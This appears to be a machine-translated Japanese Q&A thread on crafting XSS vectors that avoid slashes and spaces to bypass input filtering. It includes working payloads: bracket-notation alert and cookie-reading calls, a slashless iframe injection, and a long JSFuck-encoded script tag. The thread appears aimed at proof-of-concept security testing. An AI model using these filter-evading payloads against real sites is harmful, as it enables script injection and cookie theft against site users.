スラッシュもスペースも使用しないXSSベクトルが必要です。私は何百ものベクトルのリストを調べてきましたが、通常はそれらの2つのうちの1つを持っています。スペースはURLエンコードされ、スラッシュ以降は削除されます。
私は<script\src=*>
などを試しましたが、私の理解からそれを機能させるには、スラッシュが必要です。
私の目の前に実際の脆弱性がないと、ベクトルを思いつくことは困難ですが、以前は、そのような問題に直面したときに、英数字以外の方法でそれを悪用してきました。 このブログ は、それがどのように行われるかについての優れた説明があります。これにはいくつかのベクトル pastie もあります。
スクリプトを実行する方法があると仮定しますが、実行するには正しいペイロードが必要です。上記のブログから:
JavaScriptにはプロパティにアクセスするための2つの異なる構文形式があるため、辞書のようなObjectメソッドにアクセスできます。
object.method(arguments) === object["method"](arguments)
したがって、このメソッドを使用すると、ペイロードは次のようになります。
this["alert"]("xss")
クッキーを引き出したい場合は、
this["alert"](this["document"]["cookie"])
これらの方法のいずれかを使用すると、期待どおりのコード実行が得られるはずです。これらにはスペースやスラッシュはありません-ある種の属性内にいる必要があるか、または<script>
タグで囲む必要があると考えました。一部のブラウザーでは、<script>{your vector}<script>
のようなものを試すことができ、それが機能する場合があります(私はIE少し前に私のためにそれが機能したことを覚えています)
編集:これが入力検証の脆弱性の概念実証にすぎない場合は、iFrameを埋め込むこともできます。繰り返しになりますが、ブラウザーによっては、iFrameは終了タグを必要としません。そのため、<iframe\src='www.google.com'>
だけで十分です。
私はパーティーに少し遅れていることを知っていますが、別の効果的な方法があります。ペイロードをエンコードします。アラートをトリガーするサンプルペイロードは次のとおりです。
_<script>[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]])()</script>
_
Jsfiddleは here です。スペースなし、何もありません。ペイロードは、![]+()
の6文字で構成されます。スペースは含まれていません。
このツール を使用してペイロードをエンコードできます。